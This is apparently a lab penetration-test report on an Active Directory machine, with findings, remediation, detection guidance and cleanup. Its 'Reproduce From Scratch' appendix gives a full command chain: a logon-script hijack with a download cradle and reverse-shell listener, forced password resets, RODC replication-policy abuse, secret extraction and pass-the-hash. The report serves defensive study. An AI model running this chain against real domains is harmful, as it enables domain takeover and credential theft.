smbclient //10.129.244.207/SYSVOL -U 'GARFIELD\j.arbuckle%<password>' -m SMB3 \
  -c 'cd garfield.htb\scripts; put loot/printerDetect.bat.orig printerDetect.bat'
md5sum loot/printerDetect.bat.orig /tmp/restored.bat      # identical:
        43ba9cf140cae368b3d7cb66f4889aa1

# clear the logon script assignment
bloodyAD -H 10.129.244.207 -d garfield.htb -u j.arbuckle -p '<password>' \
  set object 'CN=Liz Wilson,CN=Users,DC=garfield,DC=htb' scriptPath

# restore the replication policy
bloodyAD … set object 'CN=RODC01,…' msDS-NeverRevealGroup \
  -v 'CN=Denied RODC Password Replication Group,…' -v 'CN=Account Operators,…' \
  -v 'CN=Server Operators,…' -v 'CN=Backup Operators,…' -v 'CN=Administrators,CN=Builtin,…'
bloodyAD … set object 'CN=RODC01,…' msDS-RevealOnDemandGroup \
  -v 'CN=Allowed RODC Password Replication Group,…'

# remove the temporary group membership and staged tooling
bloodyAD … remove groupMember 'CN=RODC Administrators,…' l.wilson_adm
nxc winrm … -x 'del /q C:\Windows\Temp\chisel.exe C:\Windows\Temp\cherr.txt …'
```

The two password resets (`l.wilson_adm`, `RODC01$`) cannot be reverted — the original values are not known. They are listed in Section 5.4 as outstanding items.

7 Technical Findings

F-01 — Logon script hijack via writable SYSVOL script and `Script-Path` delegation

Severity	High — CVSS 3.1 **7.4**
Vector	`AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L`
Affected	`DC01` — `SYSVOL\garfield.htb\scripts`, and `CN=Liz Wilson,CN=Users,DC=garfield,DC=htb`
Requires	Any authenticated domain user (`IT Support` group)

Description. Two permissions combine into code execution as another domain user:

1. The `IT Support` group can create and overwrite files in `\\DC01\SYSVOL\garfield.htb\scripts`, the directory that publishes logon scripts to every domain-joined machine.
2. The same group holds `WriteProperty` on the `Script-Path` attribute, inherited from the `Users` container onto every `user` object, which allows it to point any user's logon script at any file name in that directory.

Neither permission is a vulnerability by itself. Together they allow a helpdesk analyst to replace a logon script and redirect a chosen user's logon to it, executing arbitrary code in that user's context at their next interactive logon.

Evidence. The `Script-Path` ACE is recorded in `evidence/08_full_dacl_liz_wilson.txt` (ACE[24]); the writable script directory and the original 217-byte `printerDetect.bat` are preserved in `evidence/03_sysvol_scripts.txt` and `loot/printerDetect.bat.orig`; the attribute change is captured in `evidence/09_set_scriptpath.txt` and the resulting shell in the Phase 3 listener capture. The write right demonstrably belongs to the helpdesk group and not to administrators: clearing the attribute as `l.wilson_adm` failed with `ERROR_DS_INSUFF_ACCESS_RIGHTS` while clearing it as `j.arbuckle` succeeded (see "Trying to undo the change as the wrong account" in Section 6).

Why it is High rather than Critical. The immediate result is code execution as `l.wilson` — a standard user. The severity comes from what that identity can then reach (F-02), and from the fact that the primitive is a persistent modification of a domain-wide logon path rather than a one-shot action.

Remediation.

1. Remove `WriteProperty` on `Script-Path` from `IT Support` (and from the `Users` container, so it stops inheriting). Logon script assignment should be an administrative task, not a helpdesk one.
2. Restrict write access to `SYSVOL\scripts` and `NETLOGON` to `Domain Admins` and the domain controllers' machine accounts. Verify with `icacls` on each controller.
3. Where logon scripts must be managed by more than one team, deliver them through Group Policy (which is audited and versioned) rather than through a shared folder with write access.
4. Alert on modification of any file under `SYSVOL\scripts` and on LDAP writes to `scriptPath`.

References. Microsoft — *Logon scripts* (`scriptPath` attribute); Microsoft — *Securing SYSVOL*; MITRE ATT&CK T1037.001 (Logon Script: Windows Logon Script).

F-02 — Excessive ACL: `User-Force-Change-Password` over a Tier 1 administrative account

Severity	Critical — CVSS 3.1 **9.9**
Vector	`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`
Affected	`CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb`
Requires	Control of `l.wilson` (obtained via F-01), or any holder of that identity

Description. The standard account `l.wilson` holds both `User-Change-Password` and `User-Force-Change-Password` over `l.wilson_adm`, the Tier 1 administrative account belonging to the same person. `User-Force-Change-Password` does not require knowledge of the current password, so anyone who controls the standard account can take over the administrative account, including its `Tier 1`, `Remote Management Users` and `Remote Desktop Users` memberships.

This is the intended "user can reset their own admin password" convenience pattern. It is safe only when the standard account is at least as well protected as the administrative one — which is not the case here, because the standard account is reachable through F-01.

Evidence. `evidence/10_dacl_liz_wilson_adm.txt` shows ACE[5] and ACE[6] granting `l.wilson` both rights over `l.wilson_adm`; Section 6, Phase 4 shows the reset via ADSI `SetPassword`; `evidence/11_winrm_lwilson_adm.txt` confirms WinRM access as `l.wilson_adm` with `Tier 1` group membership.

Impact. Direct escalation from a standard domain user to a Tier 1 administrator, with interactive access to the domain controller. In this environment Tier 1 administration is sufficient to become an RODC administrator (F-03), which is the doorway to F-04 and domain compromise.

Remediation.

1. Remove `User-Force-Change-Password` from the standard account. If self-service reset of the administrative account is a business requirement, implement it through a privileged access management workflow that requires re-authentication and is audited — not through a standing ACE.
2. Where the ACE must remain, make the standard account a protected user (`Protected Users` group, smartcard or FIDO2 authentication) so that controlling it is not trivial.
3. Audit all `User-Force-Change-Password` and `GenericAll`/`WriteDacl` ACEs on privileged accounts domain-wide and remove the ones that are not explicitly justified.

References. Microsoft — *Extended Rights: User-Force-Change-Password*; Microsoft — *Protected Users security group*; MITRE ATT&CK T1098 (Account Manipulation).

F-03 — `AddSelf` on RODC Administrators granted to the Tier 1 group

Severity	High — CVSS 3.1 **8.5**
Vector	`AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N`
Affected	`CN=RODC Administrators,CN=Users,DC=garfield,DC=htb`
Requires	Membership of `Tier 1`

Description. The `Tier 1` group holds `AddSelf` on the **RODC Administrators** group, allowing any Tier 1 member to join it without approval. Membership of RODC Administrators in turn carries `WriteProperty` on three attributes of the RODC computer object — `Managed-By`, `ms-DS-Reveal-OnDemand-Group` and `ms-DS-Never-Reveal-Group` — which is complete control over the RODC's credential-caching policy.

`AddSelf` turns a group that is meant to be assigned deliberately into a self-service door. The design assumption is that Tier 1 administrators are trusted to manage the RODC; the effect is that any compromise of *any* Tier 1 account becomes a compromise of the RODC's replication policy.

Evidence. `evidence/14_rodc_admins_add.txt` shows the membership addition and the resulting `memberOf` value. The three writable RODC attributes are recorded in the ACE listing in `evidence/27_rodc01_acl.txt` (ACE[4]–ACE[6], trustee `RODC Administrators`).

Remediation.

1. Remove `AddSelf` from `Tier 1` on the RODC Administrators group. Populate the group explicitly and review its membership quarterly.
2. Treat RODC Administrators as a Tier 0 group: it can influence which secrets a controller holds, so its membership should be narrower than "all Tier 1 staff".
3. Alert on `AddSelf`-driven group membership changes and on any write to `msDS-RevealOnDemandGroup` or `msDS-NeverRevealGroup`.

References. Microsoft — *RODC Administration*; Microsoft — *`msDS-RevealOnDemandGroup` attribute*; MITRE ATT&CK T1098.007 (Additional Local or Domain Groups).

F-04 — RODC password replication policy abuse leading to domain compromise

Severity	Critical — CVSS 3.1 **9.9**
Vector	`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`
Affected	`RODC01` (`CN=RODC01,OU=Domain Controllers`) and, through it, every account in `garfield.htb`
Requires	RODC administrative rights (obtained via F-03)

Description. An RODC administrator can rewrite the RODC's password replication policy. With `Domain Admins` added to `msDS-RevealOnDemandGroup` and `msDS-NeverRevealGroup` emptied, the writable domain controller will release domain administrator credential material to a caller it authenticates as the RODC's machine account. Because control of that machine account follows

from the same administrative rights (machine account password reset), the whole sequence stays within the RODC administrative role — no additional privilege is needed at any point.

The extraction uses `DRSGetNCChanges` with `ulExtendedOp = EXOP_REPL_SECRETS`. This is the operation an RODC is *designed* to use, and the writable DC answers it on the RODC's behalf. The RODC itself never has to be contacted, which means the attack works even when the RODC sits on an isolated network segment — as it did here, at `192.168.100.2`, reachable only from `DC01`.

Evidence. Section 6, Phase 6.1 shows the original policy with `Administrators` explicitly denied; `evidence/23_prp_final.txt` shows the modified policy (`Domain Admins` allowed, deny-list empty); `evidence/16_rodc01_secrets.txt` shows that ordinary DCSync (`EXOP_REPL_OBJ`) is refused for the RODC principal; `evidence/24_rodc_exop_run.txt` shows the successful `EXOP_REPL_SECRETS` run returning the `Administrator` and `krbtgt_8245` hashes; `evidence/25_domain_admin_root.txt` records Domain Administrator access and the root flag.

Impact. Complete domain compromise. The `Administrator` NT hash permits pass-the-hash against every system that trusts the domain, and the `krbtgt_8245` hash permits forging Kerberos tickets that the RODC will accept. The demonstrated result was interactive administrative execution on the domain controller.

Why the deny-list exists, and why it failed here. The `msDS-NeverRevealGroup` deny-list is the control that stops a stolen branch-office controller from yielding domain credentials. It is only effective if an attacker cannot edit it — and RODC Administrators can edit it by design. The real control is therefore the *membership* of RODC Administrators, which F-03 had already widened.

Remediation.

1. Remove `WriteProperty` on `msDS-Reveal-OnDemand-Group` and `msDS-Never-Reveal-Group` from RODC Administrators. Policy changes should require Domain Admin or a dedicated Tier 0 role.
2. Keep `Denied RODC Password Replication Group` and `Administrators` in `msDS-NeverRevealGroup` and monitor that attribute for change — a change is a high-fidelity compromise indicator.
3. Treat every RODC as a Tier 0 asset irrespective of its physical location.
4. Rotate `krbtgt` (twice, per Microsoft guidance) and the `krbtgt_<RID>` account for any RODC whose policy was modified, and reset the RODC machine account password.

References. Microsoft — *RODC Password Replication Policy*; Microsoft — *`EXOP_REPL_SECRETS` / DRS extended operations*; MITRE ATT&CK T1003.006 (DCSync); Microsoft — *AD Forest Recovery: reset krbtgt*.

I-01 — SMB signing enforced (informational, positive)

`DC01` reports `smb2-security-mode: Message signing enabled and required`. SMB relay and NTLM-reflection attacks against SMB are therefore not viable on this host. This is a control working as intended and is recorded so that it is not inadvertently relaxed.

I-02 — Domain controller clock skew (informational)

`nmap` and Kerberos both reported a skew of approximately 8 hours between `DC01` and the attack host. Large skew does not itself grant access, but it breaks Kerberos for legitimate clients and forces attackers (and defenders) to compensate, which obscures the timeline of an investigation. Time should be synchronised from a controlled internal source on all domain controllers.

8 Remediation Summary

The chain has four links and breaks if any one of them is removed. The ordering below reflects that: the first two items remove the attacker's ability to enter and traverse the chain at all.

8.1 Short Term — break the chain

F-01 — remove the entry point

- Remove `WriteProperty` on `Script-Path` from `IT Support` and stop the inheritance from the `Users` container.
- Restrict write access to `SYSVOL\scripts` and `NETLOGON` to Tier 0 administrators.
- Compare every user's `scriptPath` against the intended baseline and alert on changes.

F-02 — remove the escalation step

- Remove `User-Force-Change-Password` from `l.wilson` over `l.wilson_adm`.
- Rotate the `l.wilson_adm` password (it was reset during testing) and review every other user-to-admin password delegation in the domain.

F-03 — narrow the RODC administrative role

- Remove `AddSelf` from `Tier 1` on RODC Administrators; assign membership explicitly.
- Review RODC Administrators membership and treat it as Tier 0.

F-04 — remove the credential-release path

- Remove `WriteProperty` on `msDS-Reveal-OnDemand-Group` and `msDS-Never-Reveal-Group` from RODC Administrators.
- Restore and baseline the policy: `Allowed RODC Password Replication Group` only in the allow-list; `Denied RODC Password Replication Group`, `Account Operators`, `Server Operators`, `Backup Operators` and `Administrators` in the deny-list.
- Reset the `RODC01$` machine account password (it was reset during testing).
- Rotate `krbtgt` twice and rotate `krbtgt_8245`, because both were exposed.

8.2 Medium Term — reduce the class of weakness

- **Audit delegated ACLs across the directory** with `dacledit`/BloodHound and remove every `GenericAll`, `WriteDacl`, `WriteOwner`, `ForceChangePassword` and attribute-level write that is not documented and owned. Re-run the audit after every organisational change.
- **Adopt a tiered administration model** (Tier 0 / Tier 1 / Tier 2) with credential and logon restrictions per tier: Tier 0 accounts cannot log on to Tier 1 assets and vice versa. This alone would have made F-02 and F-03 far less valuable.
- **Protect privileged accounts with** `Protected Users`, smartcards or FIDO2, so that a password alone is not enough to use them.
- **Enable advanced audit policy** for directory service changes (Event 5136), group membership changes (4728/4732/4756) and replication (4662) and forward it to a monitored platform.
- **Rotate machine account passwords** and monitor for resets performed outside change windows.

8.3 Long Term — remove the structural risk

- **Treat the helpdesk account as a privileged account.** After F-01 and F-02, `j.arbuckle` is functionally equivalent to a domain administrator. Until the delegations are corrected, it must be protected and monitored as such.
- **Detect the chain, not just the endpoints.** The events in this attack are individually unremarkable: a file written to `SYSVOL`, a `scriptPath` change, a password reset, a group join, a replication request. Correlation rules that fire on the *sequence* (script change → logon → password reset → RODC policy change → replication) would catch it; single-event rules will not.
- **Reduce RODC exposure.** Where an RODC is not operationally required, remove it. Where it is, restrict its replication to named, non-privileged accounts and review that policy as part of change control.
- **Re-test after remediation.** The chain is short enough that a targeted retest — three commands per link — can verify that it no longer assembles.

Appendix A — Severity Ratings

Rating	CVSS 3.1	Definition
Critical	9.0–10.0	Exploitation leads to domain-wide or enterprise-wide compromise, or to control of a Tier 0 asset.
High	7.0–8.9	Exploitation causes substantial harm: privileged access, significant data exposure, or a reliable step toward domain compromise.
Medium	4.0–6.9	Exploitation materially affects confidentiality, integrity or availability but is constrained by prerequisites or limited blast radius.
Low	0.1–3.9	Minimal impact; limited exposure or effective compensating controls.
Informational	—	Observation or hardening opportunity without a demonstrated vulnerability.

Scores are computed from the impact actually demonstrated in this engagement, not from a theoretical worst case. `S:C` is used where the demonstrated impact crosses a privilege boundary between principals (for example, a standard user obtaining administrative control).

Appendix B — Evidence Map

Claim	Evidence
Ports, services, SMB signing, clock skew	`evidence/01_full_tcp_scan.txt`
Credential validation and share access	`evidence/02_smb_auth.txt`
`SYSVOL\scripts` contents and write access	`evidence/03_sysvol_scripts.txt`
`Script-Path` ACE held by `IT Support`	`evidence/08_full_dacl_liz_wilson.txt` (ACE[24])
`User-Force-Change-Password` ACE over `l.wilson_adm`	`evidence/10_dacl_liz_wilson_adm.txt`
`scriptPath` modification	`evidence/09_set_scriptpath.txt`
Code execution as `l.wilson`	Listener capture
WinRM as `l.wilson_adm` with `Tier 1`	`evidence/11_winrm_lwilson_adm.txt`
User flag	`evidence/12_user_flag.txt`
RODC Administrators membership	`evidence/14_rodc_admins_add.txt`
RODC object ACL (three writable attributes)	`evidence/27_rodc01_acl.txt`
Replication policy modification	`evidence/23_prp_final.txt`
DCSync refused for RODC principal	`evidence/16_rodc01_secrets.txt`
RODC not directly reachable	`evidence/17_rodc_reachability.txt`, `evidence/18_rodc_remote_mgmt.txt`
`EXOP_REPL_SECRETS` extraction	`evidence/24_rodc_exop_run.txt`
Domain Admin and root flag	`evidence/25_domain_admin_root.txt`
Cleanup and restoration	`evidence/22_cleanup.txt`, `evidence/26_cleanup_final.txt`

Appendix C — Reproduce From Scratch

Substitute `<PASS>` for the provided `j.arbuckle` password, `<NEWPW>` for a chosen password for `l.wilson_adm`, and `<RODCPW>` for a chosen password for `RODC01$`.

```
# ---------- 0. prerequisites ----------
printf "10.129.244.207 garfield.htb DC01.garfield.htb DC01\n" >> /etc/hosts
sudo ntpdate -u 10.129.244.207

# ---------- 1. reconnaissance ----------
nmap -Pn -sVC -p- 10.129.244.207 -T4 --min-rate 1500
nxc smb 10.129.244.207 -u j.arbuckle -p '<PASS>'
smbmap -H 10.129.244.207 -u j.arbuckle -p '<PASS>'

# ---------- 2. confirm the two write primitives ----------
echo probe > /tmp/probe.txt
smbclient //10.129.244.207/SYSVOL -U 'GARFIELD\j.arbuckle%<PASS>' -m SMB3 \
  -c 'cd garfield.htb\scripts; ls; put /tmp/probe.txt probe.txt; ls; del probe.txt'

dacledit.py -action read -dc-ip 10.129.244.207 \
  -target-dn 'CN=Liz Wilson,CN=Users,DC=garfield,DC=htb' \
  'garfield.htb/j.arbuckle:<PASS>'
# expect: Script-Path WriteProperty trustee IT Support

# ---------- 3. foothold ----------
# run from the directory holding printerDetect.bat and s.ps1
# printerDetect.bat -> powershell download cradle ; s.ps1 -> TCP shell
python3 -m http.server 8088 --bind 0.0.0.0 &
nc -lvnp 4444 &
smbclient //10.129.244.207/SYSVOL -U 'GARFIELD\j.arbuckle%<PASS>' -m SMB3 \
  -c 'cd garfield.htb\scripts; put printerDetect.bat printerDetect.bat'
bloodyAD -H 10.129.244.207 -d garfield.htb -u j.arbuckle -p '<PASS>' \
  set object 'CN=Liz Wilson,CN=Users,DC=garfield,DC=htb' scriptPath -v 'printerDetect.bat'
# wait for l.wilson to log on -> shell as garfield\l.wilson

# ---------- 4. Tier 1 ----------
dacledit.py -action read -dc-ip 10.129.244.207 \
  -target-dn 'CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb' \
  'garfield.htb/j.arbuckle:<PASS>'
# expect: User-Force-Change-Password trustee l.wilson
# (from the l.wilson shell)
#   $u=[ADSI]"LDAP://CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb"
#   $u.SetPassword("<NEWPW>"); $u.SetInfo()
nxc winrm 10.129.244.207 -u l.wilson_adm -p '<NEWPW>' -x 'whoami /groups'

# ---------- 5. RODC administrators ----------
bloodyAD -H 10.129.244.207 -d garfield.htb -u l.wilson_adm -p '<NEWPW>' \
  add groupMember 'CN=RODC Administrators,CN=Users,DC=garfield,DC=htb' l.wilson_adm
dacledit.py -action read -dc-ip 10.129.244.207 -principal 'RODC Administrators' \
  -target-dn 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb' \
  'garfield.htb/l.wilson_adm:<NEWPW>'
# expect: Managed-By / ms-DS-Reveal-OnDemand-Group / ms-DS-Never-Reveal-Group  RW

# ---------- 6. replication policy + RODC identity ----------
bloodyAD -H 10.129.244.207 -d garfield.htb -u l.wilson_adm -p '<NEWPW>' \
  set object 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb' \
  msDS-RevealOnDemandGroup -v 'CN=Domain Admins,CN=Users,DC=garfield,DC=htb'
bloodyAD -H 10.129.244.207 -d garfield.htb -u l.wilson_adm -p '<NEWPW>' \
  set object 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb' msDS-NeverRevealGroup
bloodyAD -H 10.129.244.207 -d garfield.htb -u l.wilson_adm -p '<NEWPW>' \
  set password 'RODC01$' '<RODCPW>'

# ---------- 7. EXOP_REPL_SECRETS ----------
python3 poc/rodc_exop.py 10.129.244.207 '<RODCPW>'

# ---------- 8. domain admin ----------
nxc winrm 10.129.244.207 -u Administrator -H '<NT-HASH>' -d garfield.htb \
  -x 'type C:\Users\Administrator\Desktop\root.txt'
```

Dependencies. `smbclient`, `nxc`, `bloodyAD`, Impacket 0.13 (`dacledit.py`), `ldapsearch`, Python 3.11+ with Impacket installed. `poc/rodc_exop.py` is self-contained apart from Impacket.

Timing note. Step 3 completes only when `l.wilson` performs an interactive logon. On a live instance that may be immediate (a scheduled session) or may require waiting for the user; the script assignment is persistent, so the callback arrives whenever the logon happens.

Appendix D — Credentials and Flags

Recorded for the assessment record. All values are redacted in this copy.

Item	Value
Starting credential	`garfield.htb\j.arbuckle` — *redacted*
`l.wilson`	obtained via logon script hijack; no password needed
`l.wilson_adm`	password reset during testing — *redacted*
`RODC01$`	machine password reset during testing — *redacted*
`Administrator` NT hash	*redacted*
`krbtgt_8245` NT hash	*redacted*
User flag	`<USER-FLAG-REDACTED>`
Root flag	`<ROOT-FLAG-REDACTED>`

Appendix E — MITRE ATT&CK Mapping

Technique	ID	Stage
Account Discovery: Domain Account	T1087.002	Phase 1
Permission Groups Discovery: Domain Groups	T1069.002	Phase 2
Logon Script (Windows)	T1037.001	Phase 3
PowerShell	T1059.001	Phase 3
Windows Remote Management	T1021.006	Phase 4
Account Manipulation: Additional Domain Groups	T1098.007	Phase 5
Account Manipulation: Device Registration / machine account	T1098	Phase 6
OS Credential Dumping: DCSync	T1003.006	Phase 6
Use Alternate Authentication Material: Pass the Hash	T1550.002	Phase 7

Appendix F — Detection Opportunities

Each link in this chain is individually unremarkable; the value of the table below is in correlating them. An alert on any single row will be noisy. An alert on three rows attributable to the same principal within one hour will not be.

Stage	Observable artifact	Data source
Script replacement	Write to the `scripts` folder of `SYSVOL` by a principal that is neither a machine account nor Tier 0	Object access auditing on `SYSVOL`, Sysmon Event ID 11
Script assignment	Directory service change to the `scriptPath` attribute of a user object	Event ID 5136 (attribute `scriptPath`)
Logon script execution	`powershell.exe` with `-nop -w hidden -enc` as a child of the logon chain	Event ID 4688 with command line, Sysmon Event ID 1
Callback	Outbound connection from `powershell.exe` to an external host on a high port	Sysmon Event ID 3, firewall logs
Tier 1 password reset	`4724` or `4723` targeting a privileged account, issued by a helpdesk principal	Event ID 4724, 4723
RODC group addition	Member added to `RODC Administrators` outside a change window	Event ID 4728, 4732
Policy change	Write to `msDS-RevealOnDemandGroup` or `msDS-NeverRevealGroup` on a controller object	Event ID 5136, 4742
Machine account reset	Password reset of the RODC machine account by a user principal	Event ID 4742
Replication request	`DRSUAPI` / `DsGetNCChanges` from a principal that is not a domain controller	Event ID 4662 with replication GUIDs, DRS operational log
Pass-the-hash	Network logon (type 3) with NTLM for `Administrator`, with no preceding `4768` for that principal	Event ID 4624, 4625

Two practical notes. First, the sign of abuse is usually the *combination* of a directory write and a subsequent authentication by the affected principal, not either event alone. Second, the RODC replication step is the only one that is inherently anomalous in a healthy domain: a writable domain controller should never see a secret-replication request from an account that is not itself a domain controller.